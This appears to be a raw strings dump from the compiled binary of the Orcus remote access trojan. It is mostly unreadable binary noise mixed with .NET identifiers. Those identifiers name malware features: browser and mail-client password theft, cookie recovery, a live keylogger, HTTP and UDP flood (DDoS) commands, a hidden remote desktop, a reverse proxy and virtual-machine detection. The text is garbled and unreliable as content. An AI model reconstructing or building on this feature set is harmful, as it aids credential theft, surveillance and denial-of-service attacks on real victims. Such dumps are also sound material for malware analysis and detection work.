k=^|I:;
_|)#5S=
*G8N[
<GetHardwareInformation>b__4
EntryType
<GetHardwareInformation>b__6
<GetHardwareInformation>b__7
<MasterPassword>k__BackingField
6>4'
0v0F
* hHQ
set_Lenght
8\Ldr
/
@7
`7xfC
AK}/g}
7<C%2Z7
!0R3
yHs_
Combine
HCU_
!p$
#gK>
message
PasswordData
gR]
!0R?
<UdpSockets>k__BackingField
Iv8Y
{87\:q
5HWQ
u(Co6
n_:}b
\mEg
F%Y
,^=q
jcp2~
HSHELL_TASKMAN
Q.diJ%
sFc_2c
ENY9
=~.
"Doi
; -d
gz\l
Response
[x1%
RegistryKey
4xgc
`f|d.
DontUseHash
~d~"
get_MasterPassword
!l
P9^B
<),&
OoW!
GiEof
Skip
AvailablePlugins
y[;^
^.]Y
@\AkMu
tcpClient
G	{r
_readByteDelegate
u4lEk
IM-
5KzdM
; -.
.ctor
4o9^b4A
IsOpen
8BsT
GetTotalMemory
V;LK
+uz
>Su>S
L1]\
rY1o
uzrl5
get_Message
r,<E[=s
+ayN
p'>vx
eyVEB
VncMessage
Jiu
i
$g0$
Y)F#X
:P76
c.\
5E}
dwSecretSize
Main
WCF_MOUSE_CLIENT_TO_SCREEN
A4C"U
get_Rectangle
pr?k
=!"A
get_Text
HttpFloodCommand
GETICON
Ad_S
Fa./0
iRll
EtsCdh
SendOrPostCallback
FromDevice
'	"s
0ZaO
9@Mi
L4,i
S*9@$
U?R3
File
dwOemId
{QtB\2K
set_PixelOffsetMode
otP.pFU
bf866ae9f6744a068b1dd16105528263
S'z7
E-Bl=wS
2q;;
FP>
FO{;f
MDIACTIVATE
)*1HN
System.Net.NetworkInformation
AddUrl
9nR~
W^du
lpSystemTime
#&gk
LZgXu*S
#&gi
V|-5
<>9__40_0
\Y_k:
`}zt9
J!'1
v}Am
Ep/2
jy#'
X&SI
AqOdk3
U&smC
Nb
q
lF~co
get_IsEmpty
9[Dv
_clientsLock
:=.P
'mS
Mm7B}
Role
+/v
3.7%
HyK5z
KGu%KS
wt7
JW]Q[
4bv=
y7gX
V	EK
U|H#
W[*Qw
i<`[c
set_VoiceAge
NetworkInterfaceType
t}#|B
WriteAllText
zX?+
nCode
5w\C
2w1N
Rvk8
vl:
get_PriorityClass
awx
|X2\=
P9M
R:Kb
C"pdHg!
IServerConnection
't8AW
mZ O
lD i
.w1E
S,n#
!6_1
<41}yG
7|y
yi.`
/+'&
NM8=
:"eg
1^paL
S:s)
E=Y@
q[-q
#B1#7
7|Q
Zy
~O#
CAm(
Uq'=?
hetNN
{Hn}
KCfgG
)	Sr
^]Tz
:D&M
*.z1J
rUR~
FT(.
d g
get_ValueObject
@Bpl
^{
z4L2r
p3LLb
Zs<j
tzEs
N}8`
eO.8g
]O/39
gQ:?k
clientCursorPos
oIP'
But^
Bpb[
l
%
HgS,
?o]
W]bS
on3!
RB>%
Z-.h]
&,Sl
Se&st
WLw
VX;
i_L\
WS_POPUP
inLen
K2Oe
Target
~1fW
4?L#
LE-g
iOH,
uC}
6@Yw
GjO7
, r
CALG_MD5
$7^6
Dek+
;71{|
set_TabIndex
O:$z
?C
ml
7L}k
{:]Q
SpeechSynthesizer
DISPLAYCHANGE
8wN,
;/8
AppendFormat
SC_ICON
|4	s
get_IsSearching
b=yK
SetDesktopVisibility
bQXy
<,Ls
<nCx$
NetworkStream
cm{
?v^{
lpszDevice
e<{
uMapType
P:k\
FileStream
ooD"*}
`~Wt
+HAE
m,	jK
msvcrt.dll
!Mhv
%P@B
xg@[
_keyboardHook
:q/H
l:|
H/i@
gl4WY
D"Gw

jQW,
RerT
pUrt
RemovePrivateFiles
gCz!
nC+
lpszOutput
m&!6
globalSalt
LoginData
O<./Z
<>9__29_0
m/sKF
,F(q
ObjectDisposedException
wP?XM
iiRj
R75`
Socks4ProxyClient
g^IT
ExceptionsAvailable
yzX
{(fin]
>|.<
yD;k
c0<n
Td\
:W	
V
I*I#
H4oii{
Y8 V
9*kg
2/ x
']_/
ReadToEnd
=6k	\
~>h
b:y'
4O%5
NCMBUTTONDBLCLK
p-px
W:-^
!Z6x
8I8;
3?B;
:c+P
*0(*
D
b
_?^N
Orcus.Commands.Passwords.Applications.Thunderbird.Cryptography
oP	i
3*N:
2\E#o
F
YJ
P9ge
DoNotCopyBits
CO44
^c>{ok
A7f|
kRuf
x]O<
NewGuid
.Me_
PE9:
39TU
#Zn<K?4
p*r{G
;09z	m*
R`-t
p`+l
HMACSHA1
WindowsServiceInstaller
mo&y
Hnk7
<>9__22_0
6z[;!@V<
hMod
=I<$
LoadablePlugin
B'>.+2
:v
!
`;<t
.szDT
DoNotReposition
NoyB*
CreateDesktop
q:~I
<PluginsDirectory>k__BackingField
r/L
1'EE
%RY	G
J3+NM%1
>sf7K
F7&R
kZeI
HiCc
qD >
!}[#
@KkwD$
#ll
<>9__22_2
Orcus.Commands.RegistryExplorer
n8=pz
_keyLog_Saved
Dv
4
}-~z
6n"%U
HTCLIENT
Eu^o
"Lf
&\wQ
3P}w
Ct3n!
Orcus.Shared.Encryption
F@DS
WS_DISABLED
"\T`
;w$
;/%u
set_ClockSpeed
ComputerAction
_urlHistory
x6AF
4@\I
up@5
ReverseProxyClient
WwH?2
>IS@
HvncActions
speed
h,rp
.5RF
lpString
R\g,
dmFormName
GetPathRoot
'K9
C7h*8
_R_
[E}
6
}d
appPath
eSD
QT7t
vFz~
Orcus.Service.Properties.Resources.resources
\U.LX
.(+e(
t+ts
WS_CLIPCHILDREN
get_AppContext
F/qQ
=^
DWMCOMPOSITIONCHANGED
L1x\
e7u}
timesUsed
>$/K
X*2)
C>u`
A\+)r
set_ExpiresUtc
5z2w
^G9W
&'`c0
!^KPpm1
entrySalt
ExtensionAttribute
]QeA
@G=]
o1v
Show
g|i
9
*u1+?
7x_
M65Ka
]T-X
get_CultureInfo
CCz.4
n/?07&7
G6"
AesDecryptorMain
P5'}
dt.u
t6dNO
b(#H
get_IsOpen
x["X
7&g\
v":y
.|7-
j-E
ArgumentException
so_DF
System.Runtime.InteropServices.ComTypes
=#a'
^bGi
responseType
4oA.
Vd5
A\z*
d1cr
xYS)
sysListView32
pszUrl
<CQj
CTLCOLORSTATIC
9NO
tix
<>3__mmDeviceCollection
t580
IgnoreResize
)@[}
YE\.
?s%R1
|b1W
!?@
r0(
S+1Z%
$P h
`I]mJ
h!Fp
<>9__1
<>9__0
g2V2V1v0
<>9__2
9FlW}.f
session
^F^8
get_ReplaceCarriageReturnsAndLineFeedsFromFieldValues
dmBitsPerPel
#Dz[
RemoveFirst
mq}s
rw1
Cjqg%
<}
[?A
set_VideoArchitecture
<ProcessCommand>b__7_0
[Qhx>
sNo6
@`34`-
asaH
CeUv
FLsj3
;;k]
.'-=
4=*W
add_UnhandledException
J>gUJ
P17Ta}
H6OZ
l&^rY
7{4M
Yl_p
L'T
GetNetworkInformation
P2,"
z;p0
DoT(
yS=$
M*=*
/n"D
&P/;
F;#)
zTm<
JL+;
defaultValue
LoadKeyboardLayout
HttpWebResponse
'~YB
;#k<
8LuA+
rdQ9rU
&ne,
_kY%
"dHX
get_HandleCount
%l.6D@
C?+e
^uZe^
get_LogData
PlayAudioInformation
UNUh
X509Chain
j;l<+0
lhX	_
NvJ=
set_NtVersion
<RegistrySubKeys>k__BackingField
9&bS
O2j%\
Ux&O
'B']
Ktzk
v,3j[-BL
0vh`+
U5~A
RBUTTONDOWN
w5*!
~gv
T{#)J
DownloadString
])Fr
]GL):
e1[u
RZI0
e%UMj8
#M5u
PJ0>:	]
"
aE.
!}u
*`)]0
xu7g
BJ O
H}5B
1=8{K
<-;H
*
?
3pY"
fITBNx0Fiv
BSJB
8F2O
e;w~
CSCore
)JM*
j@GS
set_BytesReceive
3~#
7;0Wa=-5W
Computer
hs)
B{L\
_deviceList
Second
I";D
g}
3
LfVF
IpAddressInfo
QFr6
FO8~
.XRk
]oqR4
GetHardwareId
_-6
60VQ
'9E&
value__
+!?o
D34_(
[
,'&
6%kw
j 
wY
5~0
~Ivk
/0h
c7I"G|
FaNIq+
)QMN
5Kiu
q O]P0
4eZL
z$v0a3
ToolBase
)=E<O
Fsi!
THEMECHANGED
,\Ay
/=sG
6:!e4
:o29
<:
2(a
r'	:
\xpl
$ZO{
QQ3+S
Qo_h
SocketType
n:=wR
hzp,
l[qM
{Qk5
M]7^
<subKey>5__1
;&f
ResumeLayout
>lY@
^~@
CancelEventArgs
E]4o!
gpx
IME_NOTIFY
]NtTZ
chain
"6[c
AsyncCallback
ComputeHash
$:VV
sIF{~
fSystem.Drawing.Icon, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aBj
lr^E
|F\l
eZMOjwH=
yObD7
get_Year
Nt1,x
set_ProcessorType
Xu6q
+eA'uwJ
!<EM
_stringCollection
H2Z'd%GF
A4Qy
[G<4
Refresh
?H'Kc
Orcus.Shared.Commands.LiveKeylogger
w'0r
Xh
DEVMODE
KJYU
3k/5
set_CompositingMode
[`G
JF~F
94C<
[0%wP
1!DT
l`E
Y;u@
yk8z_
QBN<
c0G
`zp
Ql*U
<>2__current
PROXYOPTION
JM;Hcd
add_Stopped
.[{V}yM
&
El
)=z=
&i3t
$=
[O\
FILE_ATTRIBUTRE_NORMAL
JTL~
get_Oid
<SynSockets>k__BackingField
pwcsUrl
,8cP
L/"^
TJZx
get_HideEveythingElse
set_L1Cache
uxy
uh?U
MC?
L
g_e=
set_UpTimeSeconds
LogonTrigger
*h@)
>v
8"v
qa(
get_OverwriteTryConnect
FmPs
()1.O
costura.starksoft.aspen.dll.zip
p*r=H
!|PYv
x'5t
'#c'2
ctO1
UuZI
V)?9-.
<a5@uN
PRu;
ib?P
2J2Z2
3mf;
%}/
#f>3
profilePath
VoiceInfo
qz}J
SH;O=
Orcus.Commands.Audio
0P-c
RijndaelManaged
"9

9%^W
L?,Y
gODW
|N*G
7Orcus.Shared.Commands.Registry.RegistryValueMultiString
set_Monitor
:b{h
Form1_Closing
YN/
fL*##=
EnumChildWindows
c1W.
Py79
.&qd
(A
<Ib:
(E
~pXS
get_ResourceName
w"}t
RegistryView
kK|i
me!]
IList`1
-'Ad
0|	{
1-)a
p-dY1
cButtons
d'Z,
N[;8
ConvertToState
GmQ2b#
8va0v
oecq
(d
5 .z
Ea3+,.
_OHL
\zwB
6}D<
i&jG
kpKc2
|E",A
StreamReader
B$~L$~
`Jf;
YP	
k}l=_
IntPtr
WIH
MDIRESTORE
=QpUspys
chR8
d.wE
}5HCAo
O<!'
get_Elapsed
X?- n-
})#v
wRW
`4YtH
b9fP
7z{
C~
skOi
Y)g`
'g n
_disconnectIsSend
BinaryWriter
(/
)LRN
R(^9
&zuq
ofo;
<Id>k__BackingField
GetInterface
^r(,Eb#h~
&}Cs
q3{k
-r
\$]"
L+qv
d<:	O
cHok`
remove_KeyUp
b~7$E
@=lX
ec@&
wProcessorLevel
*!W
-P(R
GetMsvpPath
<Connection>k__BackingField
l	wW'
nEPk
HSK.$Z
utnt
{\H
Orcus.CommandManagement
AddServiceEndpoint
Oa`$
*|f9|
!7
i
plrf
Rp4M
15];
\m+w
wndHandle
JrYW3
get_ActionType
}-'F
(mN
DataReceived
UnlockBits
?]yh/
set_IsLoaded
'eNL!
$CC]
p}4W
[.Pt
NI}6
?SyL
0#o]k
*[3L
.o,t
)yxq
HjeA
UDP_TABLE_OWNER_MODULE
ManagementObject
3yO
x#)u
mscoree.dll
D J`,=
FilePushRequest
DesktopHandle
Vh{=.:<[c
5Kbl
k up
<LoadPlugin>b__23_0
set_ProductId
'b{ 7
Func`1
ED4{
^Ha4R
Orcus.Shared.Communication
set_InstallationFolder
NOoN
;{ 5
pS
?)
02cfqu
U#]}+
<GetHardwareInformation>b__3
":*c)7
J"b.m'
;uY
n[
[
r1ta
k8=B$Pa_
K|xN
<Handle>k__BackingField
1Lme
#')-F5U
Nq9
FromArgb
=I2+
A$3l
LK+jEv(*E
r)C
TextInfo
A#xNU
BP5,;FT
F36r
1\Lm
h+Q':
/lUW
E,Jc
\abd
:Uow[
di<}4
VzMu
5mO/
<>c__DisplayClass47_0
set_Handle
Cw}5
\f<_
get_Key
,d'T.
y%</
yaWb>h(
e!Fl
O=eV
#GUID
*l5h\K
+q1qFd
Peuj.
}U$z
UN89
]vv0g
A 9t
PYD:%ZYz
PALETTECHANGED
yvMI
set_Ipv4Address
Stopwatch
_x[_
@9`-
H%%>
LHy=
q+Mo
* x2
$n07
add_DoubleClick
wNjf"T
=aC_
f!!W
8z$n
get_Scan0
!{MM
WxeG4
sZr\=
q)(2
e<lN3
,FR.
MIN_ALL_UNDO
$K O<
':#K
@$P\
sqlite_master_entry
gN=P
7pYI
!KE
tkZFQ
Hv[}
?F<c
nG	n
GetManifestResourceStream
GetIconInfo
Hour
X:F=
*B6H
5~./
mx
Y
=w:i]
i5X@
k G
w[*"
A:M3_
@9`~
)$1^
Delete
FG}b
xpNw
zhiXbo
43=Wv
6`Lq
R(~
,zFZ
R}RzG
w&hbr=
B$0
gsyv
UZf+
^c(:
vw:r
_tableEntries
[lelB
TcpClient
L(9:G
QBQF
%T{V
=?
E]
,,DiZ
+mo
#>7E
t,=iJ
%s
}P
4
w8]zXdd/
?n#!
@q_%_
?sl"O
iqXM
E=E0C
#idv
8>8ip
%s'
%s$
O3!
%s*
:^{+
JFS>
RecoverCookies
9G]l=
CTLCOLORMSGBOX
%s3
[P|K
wuI+
%s4
COPYDATA
%s;
changeCreationTime
+]IQe^
PFu~
%sC
O.*GL
J}Z	q
m
h:p+
IDictionary`2
S	N)
ES=r
%sM
SetResolution
%sP
%f-r
}n=|
%s[
Label
TextChatCommand
-*s:W
ASq&
SMTO_NOTIMEOUTIFNOTHUNG
JpgCompression
%sg
hDDP,
N^
poszFilter
]"ouV@
PORzf!
=5$CH
{Wr?P
WebResponse
WindowUpdate
set_Length
}IA&6
%su
E'@T
SEL(T
rEbn
set_EntryType
!030
table_entry
set_ServerPackageType
Ez:*
q;kWmg3
Re
v
NMSEM;
M";P
*^p=
get_Bytes
)I\
Current
<+CI-
Window
W@)"
JVS3
pDg
*]Qu
6v>x%
get_Ipv6Address
M~BpX
BEA=
Users
ywft
7SAj=
:kL%
0$h)^,
InitializeFileTransfer
CreateProcess
cOK40+3
set_Title
X(1
wcv^
ltuR
dwFileAttributes
sEIVk?
OCz&
:!2u'"L
Vy1L
_lkcS
add_Saved
}S'+
mAn
T#?zoc
yP+2$
R5HQ
HEOO89*
_keyboardDelegate
8M}@=
(f{h
7\n>K
H&/I*
drNvx
g3Ya
UdpFloodCommand
9i-$xe
get_Properties
O6|o
@Ow'
;9}V
1AgE
UdAo,
%q)*i
!Yo0
GetDlgItem
aD4
GDvtDd
MOUSEEVENTF_LEFTUP
Ij8=&I{
System.Collections.Generic.IEnumerator<Orcus.Shared.Commands.UninstallPrograms.UninstallableProgram>.get_Current
WS_MINIMIZEBOX
o`8~
packetSize
0}Y%q
Orcus.Shared.Commands.Internet
<ProcessCommand>b__3
Lzf
s,#g
i(wu
JJ\8
UPDATEUISTATE
9mZC
=+nnnl
<~E.H
set_Screens
ToUnixTime
b3
US19%i
,wBX
B:(n)>k
k-2
!@*`O
R(3
4l__
,(
ToUInt16
Mx.#
h%~J
kQ(M
PAs&
'?id
{P{j%
hwinsta
\k$$zjf
E$R7
pgAYs
^CXt-
WriteFile
:)3)@
KAcww4
get_HasExited
!oAv[n
8-M[
get_EndOfStream
E2M
m<F>
,r
System.Configuration
*rkM
3]<0
SHELLDLL_DefView
get_CurrentImage
MMNnN
$?R
-:ih
\r[N3
g\85
2ugI%=
"!.l""
<>c__DisplayClass2_0
ApplicationSettingsBase
z*A<
~"Wu
<IsHandled>k__BackingField
SwapMouseButton
KeyStr
channelIndex
22b&
!6p&*
Tz|C
add_Click
[NqwS
-GWS
passwordField
-m+bG
WS_MINIMIZE
l3R8
nWidth
@RhIJBH
MIB_TCPROW_OWNER_PID
!eF#
)_*|Cc
*R*g*
Ym1}`n$
*{
:
x8g3
ReplaceCarriageReturnsAndLineFeedsFromFieldValues
M:RTc
PY
^%x
d<2>
+i6P
pdwDataLen
\6B)
;&Q
HvncCommand
GetFiles
Message
7{H4F
@'2'
s@8L
UNINITMENUPOPUP
igKA
8EKfdy
wD#
p:t	|6
V]Sp
ThreadStart
:L1`
e*kJ
P!l0E%
jW3
tjOi
EnumThreadWindows
v=a\
`!3I`
Y#;i
<Oid>k__BackingField
n'\&
jkLh
DLwW
Zspf
9we/
SECItemData
,4Z%
set_UseShellExecute
NOTIFY
Orcus.Commands.Passwords.Applications.Windows
hW0;
'oWvaA
<Threads>k__BackingField
JkVZai
&9(O
r/Iz
EXITMENULOOP
[+=)
D/J;
W[Lp>f
2-njx'N
TryPushKeyLog
fy-<
P?6
get_IcmpSockets
SystemIconToMessageBoxIcon
$%t*
a"a^I
@7an
get_White
9>NK
3/!
,+P?
VS"n&]
U|2F
}g&3
5c~S
ijX}
A;9N
<BinaryReader>k__BackingField
Orcus.Commands.Passwords.Applications.InternetExplorer.Native
TurnOff
wJO
`
x<8
kms]k
r6Z-
TB0vu
[^R
|HAV
Z.RJzw"s8P
addQuotes
}b+T ~u
Append
Lv	+
SC_ZOOM
V,P^
W
EF
7nV8
*FLs
'jb%
g
:H
snX):
.qB|
wx4V
EK(M
InstallerCollection
$a&o
9c`
5<WNvf"
get_Salt
_desktopLock
agbgg
HSHELL_GETMINRECT
Z4Ww`!"c
|dq}
n
@{H
&o2
N[i+
{
*Z
INSTALLATIONFOLDER
3@V
,\`4
!o(gE
MF,B]|
lpProcessAttributes
<} x
'bG
PropertyData
z";I
IUrlHistoryStg2
PlatformNotSupportedException
*fs
]0kD
xMSl
u)u=w
set_L3CacheSize
B._C
;oRvo
TriggerCollection
[};h^
StartNew
ZiTV
Y)e&
DownloadFile
T%Z=mS:
#e$ ;n
Session
k
O+Sk@
Connections
@n$:S4
Cw;;
lpszPath
)Rmx
!#*E
$>">)>/
_synClass
set_Cores
cy==Z
user
XGlP
*Ot7Y
T@K@i
ThST
<>9__4_1
W
%C
\. +&
ProcessExtensions
set_StartPosition
:i	+
NULL
<GetLogicalDrives>b__3_0
iIcon
cbReserved2
:ela:
xX+<z
q
z`
$	[JISha
e"3M
<_client_Connected>b__6_0
BF<I
IsRunningInVm
VKEYTOITEM
:5nl
ReadInt32
_videoCaptureDevice
RegistryValue
I<e
^aOu
/M"s
f@
}o/
mq9M
gV
q
=Jyk=E$
_lastWindow
P'eF
g[~{
f<qFx?;
processorManagementObject
5y|=(
0&:
G&
:2f!
zRoN~X
(}fkKN
ggbx4
';=?
b<4
eucSs
ZP
/3z``
Pr&"
aFocF'1
+(/
SendPermissionDenied
M]Ma
get_IsChar
,X
l
Hl}2
.en*Z
<C#A
tl)5
IsWorking
p?qMSL
get_TotalSize
K$N#
P3q
]eG
V[	p_V
i)]b
I@Eo;g
\u;`
ax,Xi
J6-P&
HQgX
HTLEFT
Mc<'
q"Sqb
WindowStyles
;[_
ZGS+
d\N'K
mS>T>d
XX+.
]qii
ho<R
5ERs$u
vn=}\=
Ybbj"
.y&o
<>c__DisplayClass37_0
ATc~
PZAvo
e(x
NCMOUSEHOVER
ziI_v
iDKcE
vq"A
8y	<
+cY*Pn
SC_MAXIMIZE
[v2J
=?kA
RunInstallerAttribute
get_KeyLogFile
KExX
DRAWITEM
Rb7b
ImageLockMode
!t4K\]
(`B2
KMJ{KG
n*
yz
g}yz
set_Visible
zq
q
LivePerformance
(9Iw
get_GraphicDevice
#I5Ze
q8tb
H{<E
o{<!
Gx"!s
(V^3
2)n9
GNdB|N
rz"<
Dne~,
@w"3
Lc-\W
l<<
mYT=
j'_hw
SHlo
S^,KfM
\.WB&
SHOWWINDOW
STATURLFLAG_ISCACHED
QGWxo
.QM2
Ux:2
get_RegistrySubKeys
Y9~jVN
nH+.
\`_<
ClientPath
kH<B
:5$-
A[E[
0=53?
get_FileVersionInfo
isWow64Process
.XBQ(m
=37%h}
`pb8
4^8u
RENDERFORMAT
(?4C*
6%/{
HvncDesktop
l)F%d
F2%_
Tb:1
'i
I
E2~G
Hm$.
r-d
isChar
vp?@
QZ-6
)\22
=-`k
Keys
Q]E.%
^u<|
EMVPl
UnescapeDataString
type
CopyArray
)sJxZ
CopyPixelOperation
WL#V
Q[U?
set_Oid
h5zvw5v
:-b
}8,x3K
System.ServiceModel
>3[U
]7Z8
cFo/}
n![r(:Y
3j#S
_F\{
F.K
9Ith
set_Values
<._+
)Pnay&
isMouseDown
hookType
pZsc
jW1J
WINDOWPOSCHANGING
,5(R
rraKi
Orcus.Commands.Passwords.Applications.JDownloader
9JS5+!
B"&
ak%ZY3
<AO2{{Q
get_Instance
@5nZ4<b
m.R+
?L(L
CheckSize
.gP=
K9I:
PF&
%(L
MIB_TCP_STATE_TIME_WAIT
t+n9K
#jw5/
%(C
m$&g
%(@
SendButton
bOjb
RsaDecryptor
<Commands>k__BackingField
0y[|
AFXLAST
ky	}
Zz%Hw
Td,4
)KNC
set_ProcessMemory
>_/[
$74K
DEVICECHANGE
h+)z=
6/x
ClearHistory
get_ManagedThreadId
Jjb87:
\lX$
~qKH
k=]a8
odDM
_duration
`)HK
get_ExceptionObject
FX-d
Is32BitProcessOn64BitProcessor
'Jfpv
SG,sIWDZ
<>9__12_2
D}kx
&W$
r
Z#
z=^6
p^oC
N4n ;
hi*
^U?a
DEVMODECHANGE
d#x%
%(/
%(,
%(+
=o-
%('
set_TaskSchedulerRequestHighestPrivileges
%e=J
%(#
'BzBJ
=
	P
KL,*
uK_dj
'H`2
resultSender
,,ot
Cn&/1
co=>
PasswordCheck
get_TimeGenerated
DataReceivedEventArgs
-r^rT
!0Q
6G>3
?g}Z
eVK
1b
`*&Id
*Ad
;Xn'
[u}T
_unsafeStreamCodecLock
Remove
GetNss3Path
InternalPushFile
<~C>
zSk~
71 ?
Z usvD
SYSDEADCHAR
C=jU
Registry
5~`;%
$'a~
Orcus.Shared.Utilities
XmlNode
S2GH
03pz
GetFileName
+3
ComVisibleAttribute
\|efvj
hTT@
octv
9.n-
set_UseVisualStyleBackColor
K8dS
2-)]
)h+`
;i#_L
ReadExistingAssembly
VT*-+c
^2U]
ServiceProcessInstaller
Vfks
;FK5
xkC:
^r6G
hModule
B4{.
hive
Xjxo
Zz.!
VwY?
AddrOfPinnedObject
adnOnz
O+
zS
v7HL
v-Fbh
`Kx*
fVnE
NO3;=evz
fr/
<Key>k__BackingField
B=28\
Dh*F
V Vpm3
Vh5v
b1=
82&R
XKR
GetCookies
<>c__DisplayClass5_0
AesHelper
-'Pn$
[,@Q|
i-aK
,0J!
celt
km-S
.#vi
s9ez
`B3L
NCRBUTTONDBLCLK
SETFOCUS
DataMode
s~!=B
MMDeviceCollection
M&R>
$/QG
2*p
_activeWindowHook_ActiveWindowChanged
hP2w0
usBC
;YVR
R|nTT
WebcamResolution
get_Size
z{YfAT
r`\)m
yB{x
Kt"v
POINTL
xK\w
Aru[
c7|K
(\ng
)sOp
HlFGj
CommandFailed
kvA_
get_Checksum
]c4vU
3g,q#
SETICON
HookProc
vD
l
ztZ;
1rZN
(Q
GW_ENABLEDPOPUP
{
@]
ah*r
*~r_
L0=
CurrentFrameworkVersion
(Pl+
WS_CAPTION
'^6YM)
IJZ$C
R>mz
NCCALCSIZE
;o*
]n=yns
vgJ}Aj
J4E6{
Tltd
3XI*
MOUSEMOVE
Orcus.Shared.Commands.Registry
r=3/X
administrationId
WAg?
n!p+
q7YJ%
(rD)pI
9+;
p
[
R\8
set_BiosInformation
o?L:RZS
+oes6
E;ZMbG
UW1cz)8
z@$i
pVh?
/omss_
,b|6
meeV
wI1i 8
1.Qh
_`U`r
<ProcessCommand>b__0
<ProcessCommand>b__1
<ProcessCommand>b__2
Ia_c.
SG[C
<ProcessCommand>b__5
MainForm_Load
<CarriageReturnAndLineFeedReplacement>k__BackingField
AUD;
,B^t
1q>)V
set_Owner
keyName
o)FD
cup9L
DecodeProductKey
Hk"!
?$YI
2Orcus.Shared.Commands.Registry.RegistryValueBinary
0m8k
gN<V}
izBO
:Y:czd"
fxsmF6W
Oluq
nCsp
v:.4
A !,S;
&5L
D)~e
g% #/
ivsnf
VNIU
2k,WF#
z8\Tw
KkH\
OperatingSystem
\	F)
!	4E
*+#14W5
ToDecimal
}8m
1+
-
{sZv
hKt$
"lI,V
wc3I 7
WW!/
$7q
aH}!
M8|_
get_Right
9'[B
qP"zg
)z9*C
+MC
0Bl<
AGi
Alloc
LBq~#
W
G]
4=e0
K?m*
eEH@o
,Qgm$
*1[)
Iyx=
]Z7
callback
~9#a
Value
)jpU
IDDoSOperation
8[fb
CAc(
*Y/@{?C
?ffC
AcOj
SendPackage
ScrollToCaret
?D#1
X&K@|
item_type
T.zR
pceltFetched
[P0!Y
^q?I
GetKeyState
disabledHosts
BE5
qqod
znp(
EndPoint
currentCursorPosition
0l7
-0~
ChTh
SymhC
%T|/
G)knN
J_%9w
R1-:
@.}v
RxJ	OIa
MinValue
eNy:
w\&A
"#3;75-
08+\N
EWprn
FQm<
DESKTOP_CREATEWINDOW
@[g.
HKcx+
>Vdc
kKx[
63@r
,0o-
*eU
-$g
Am.
TjJ$
K/8
8)'kn]x
get_NetworkInterfaceType
SetCurrent
get_Icon
Viyb[
;+Ti1
Execute
0)%-
?S($
4m%G
bbvb
get_MachineName
RofI
p*r9I
mOA>
(,Yx8W*
]Q^
B(?	g
get_RemoteEndPoint
3WKDf
cw{p
N9~J
D+ ni
Ymee
IME_SETCONTEXT
.?T
NotSupportedException
{:#*
F`	p
3ID!
yCiX
}\trG^]^8 z
&#X_A?|X
~`!z
DUgA?
,kfA3
q#~9
?=s$
HApO
l[Fj
T9@U
8Q^]
[lRQFw
hoB:
XR_X
GetCursorInfo
7K9V
k/K
FILETIME
get_Minor
wProcessorRevision
^4b-
w1sO
+yOe
set_InUse
dA4D
binaryReader
ToLower
Bs@9
1y;*
dKxA
<GetHardwareInformation>b__12
MRxV
+5
+4
jR
lK7,H
)*)'
dwStyle
%/vJ;\
Sd
>
yHotspot
get_StackTrace
SETHOTKEY
^57S
ctwa8
<GetTcpConnections>b__5_0
{*.U
z~8]
<GetHardwareInformation>b__13
{+cg
}77*3*
N/l+
Copyright
PA"
@n
(h
I	
{
CX_#=
*qUc
>T-,=5
95tm
(5h}
YgRkUDnR
(z
+I
ZHe?
HANDHELDFIRST
FJ*
yt5[
ProcessKeyAction
eL
N
(G
RemoteDesktopAction
'%s$%
WindowsService
JkD9
p^UU
4|)2
timer
hDlg
34~g
PE	U
>q@d
o3-t
_enumerator
Tn@k)
.B+e
/2*x
xxjp
Qs[
H2yS(
FhA3>
FileExtensions
dmDisplayFrequency
=r	S
5W
3
?4DQ
45P>
^}~2
962
lEl)hft
CHAR
p*raH
=~wx=<&b
&ey
hU>u
AudioEndpointVolumeChannel
!d]C
yJD>
#}t=
`8h@
\L(C
&(-
fn2l
@FJ,	D
AutoResetEvent
ib7
rr+
Q~E9.
DHd
+-gD:
!r/j
Yu'e-
4v.
+ZJh
Exception
_framesLock
e]]a
"-)wA
SC_MINIMIZE
3	[
Yo0
xpoFM
cyWindowBorders
get_WindowInformation
E_K$m
Stop
+(CH<
F^ W
!k'
WCF_PAINTMETHOD_NOP
get_UserName
GetKeyboardState
_s8u
datapath
@l3
@oes
+~qqL
~C|
R;i]!u
uTxfOh
hb6iq
&`O_M
@yoH
J_Lk
77xyW
m;q
astable_name
R%,j
*.s^
&a.%3
y(=O
N3O<OWOyO
FileExplorerCommand
<>9__6_2
GetOsFriendlyName
7yAg
15wjw
SortFileTimeAscending
y1aV
3uZ<
+D*H
z[1k
DoNotSendChangingEvent
{w\TW
Qe='8ZF
L*OHZ
J~gz
#~Kv
at3R
VC'X
izYcs
8Km3r
Wj~#
>BkK
WL">M
WS_BORDER
((p:
\}$f
_mz=
2CeOE
p98H
5~+WjU
<ProcessCommand>b__3_0
PtrToStringAnsi
eRN%
ym1&
&?N2
SpeechGender
@b|i
AudioCommunication
TSECItem
H-+a
6p%d
SPOOLERSTATUS
N[WU
get_ImageLock
\uP'
]
SN"
S4<kH
hW(O
.o(t
=pgt
e=+4
A"IR)
`:BI
FileAccess
P6y.
5UQn
g
gJ|D?
get_IsAdministrator
Point
*.s;
hCursor
$y)<G
*.s7
<FactoryCommandPlugins>k__BackingField
-O>
@xP9
T@iR
;MbI&
"}.}%usud:
Y;^"
nZ*W
%&
/8*
XU6s
uyv]
`v+KL
4A."
dwMemoryLoad
Math
-zbBm
/3wC
WCF_MOUSE_AUTOCAPTURE
'C1~2
RegistryValuesPackage
s
;D
~T>!mn
pE	W
qU)
!Zkn
8qD@25
]e}K
U
-pqoW}rQ
=|>k
fkg3
|m}$b
x.;v
advapi32.dll
*.(6
ysA$
<Timestamp>k__BackingField
get_HorizontalResolution
BJTk
H8*[
4;Z4,
_zQl
\z
pO#
[EG|
j}l
]iKG
`2O~
|MO(89
*ve\
r}7
6f4k
HW`<
hV'Iqw
q{G[
r\}n6
LrtA
<GetPasswords>b__1_4
FpwvR-@
<GetPasswords>b__1_6
<GetPasswords>b__1_0
<GetPasswords>b__1_1
<GetPasswords>b__1_2
3)B]
@>fD]
X>p1
]>a;y'
0g>|w
KL*5
;S
7
%e:L]
_cancellationTokenSource
|A.j
=wWDU:
!,wxX
^Ax?
X+y!5
|;U"]
Ka<w
<voc@V
MfR=
ActiveWindowHook
Send
<Bytes>k__BackingField
/O+Q
*Gk
-_:sZ
-K"m0z
WaitOne
Microsoft.VisualBasic
?W$+
bnLM5
Y,!]
}ABC
IFactoryClientCommand
5O`B4|
<SendInformation>b__0_2
pocsUrl
.t`8
<liCJ
z"B>
*2,n
I~LV
IsOnVmWare
|@hn
rN;*
m^R3
